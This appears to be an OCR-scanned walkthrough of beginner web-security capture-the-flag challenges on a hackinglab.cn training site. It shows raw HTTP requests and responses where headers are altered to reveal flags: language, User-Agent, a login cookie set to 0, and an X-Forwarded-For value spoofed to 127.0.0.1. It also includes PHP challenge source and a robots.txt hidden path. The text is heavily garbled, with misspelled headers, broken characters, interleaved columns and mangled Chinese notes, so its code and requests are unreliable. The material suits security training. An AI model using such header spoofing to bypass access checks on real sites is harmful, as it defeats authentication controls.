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GET /base1_0ef337f3afbed42d5619d7a36c 19c20ablindex.php HTTP/1.1

Host: lab1.xseclab.com

User-Agent. Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/htmi application/xhtmi+xmi, application/xmil;q=0.9 image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: hitp://hackinglab.cn/ShowQues php?type=bases

Connection: close

Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

# Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 F i} zh-CN,zh;zh-TW;zh-HK; k&, 753
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GET /base6_6082c908819¢105c378eb93b6631c4d3/index.php HTTP/M1.1

Host: lab1.xseclab.com

User-Agent. Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/htmi, application/xhtmi+xmi, applic ation/xmi;g=0.9 image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: hitp.//hackinglab.cn/ShowQues php?type=bases

Connection: close

Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

# User-Agent: Mozilla %4 HAHA 8% flag
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GET /base7_eb68bd2f0d762faf70c89799b3c 1cc52/index php HTTP/1.1 |a HTTP/.1 200 OK
Host: lab1.xseclab.com " Server: nginx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Date: Tue, 14 Apr 2020 12:08:46 GMT
Accept: text/htmi,application/xhtmi+xmi application/xml;q=0.9 image/webp,*/*;q=0.8 Content-Type: text/html
Accept-Language: zh-CN,zh;q=0.8 zh-TW;g=0.7 zh-HK;g=0.5,en-US;g=0.3,en,q=0.2 Connection: close
Accept-Encoding: gzip, deflate Key: kjh%#5#%FDjj
Referer: http://hackinglab.cn/ShowQues php?type=bases Via: 4334
Connection: close Content-Length: 201
Cockie: PHPSESSID=978a75ecSe2af2f49ef6caB03d2bBetE
Upgrade-Insecure-Requests: 1 <htmi>
Cache-Control: max-age=0 <head>
<meta http-equiv="content-type" content="text/htmi;charset=uti-8">

S </head>
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HTTP/1.1 302 Found

Server: nginx

Date: Thu, 19 Mar 2020 02:20:56 GMT

Content-Type: text/html

Connection: close

Location: http://hacklist.sinaapp.com/base8 @abd63aa54bef0464289d6a42465f354/index_no_key.php
ia: 10080

Content-Length: 224

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>

<a href="./key_is_here_now_.php">_  </a><!--éfka a T iMétEakAkeycs,,de | -->
</body>
</html>

#Request H i search_key.php B4 key _is_here_now_.php 5% flag
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GET /based_ab629d778e3a29540dfd60f2e548a5eb/index.php HTTP/1.1

Host: lab1.xseclab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/htmi, application/xhtmi+xmil application/xmil;g=0.9,image/webp,**,q=0.8
Accept-Language; zh-CN zh;q=0.8,zh-TW;g=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, defiate

Referer: hitp:/hackinglab.cn/ShowQues.php?type=bases

Connection: close

Cookie: Login=0

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

# Cookie: login=0 ¥k 1 53] flag
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<html: |event
b <head> (= </head>
w <body>

w <form action="" method="post">»

<input type="text" maxlength="3" name="v">»

=]

<input type="submit" value="{E%F">
</form>
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<html>
<head>
<{meta charset="utf-8" />
</head>
<body>

<?php

//print _r($ SERVER) :

$arr=explode (°, ’, $ SERVER[ HTTP X FORWARDED FOR’]):
if ($arr[0]=="127.0.0.1°) {

//key
echo “key is “&*(UIHK]jkadshf”:
Jelsef
echo “ATM Al ! 7
}
2> </body>
</html>
<?php

//SAE JIR 55 i %, 1% H LA, . n] 22l H 1158 E0 550 i,
echo file get contents( FILE ):
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&« (& m‘ 0 £ lab1.xseclab.com/base12 44f0d8a96eed?21afdc4823a0bf1a316b/robots.txt
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User—-agent: * .

Disallow: /

Crawl-delay: 120

Disallow: /9fb97531fe95594603aff7e794ab2f5f/

Sitemap: http://www.hackinglab.sinaapp.com/sitemap.xml

: 120
9fb97531fe95594603aff7e794ab2f5f

B RADisallow: ARV MEEUI T E, ¥ &M Kindex.php # h9H97531fe95594603aff7e794ab2f51/1; 1] i% 4 #:15 2 H 3R
7~: “youfind me,but | am not the login page. keep search.”
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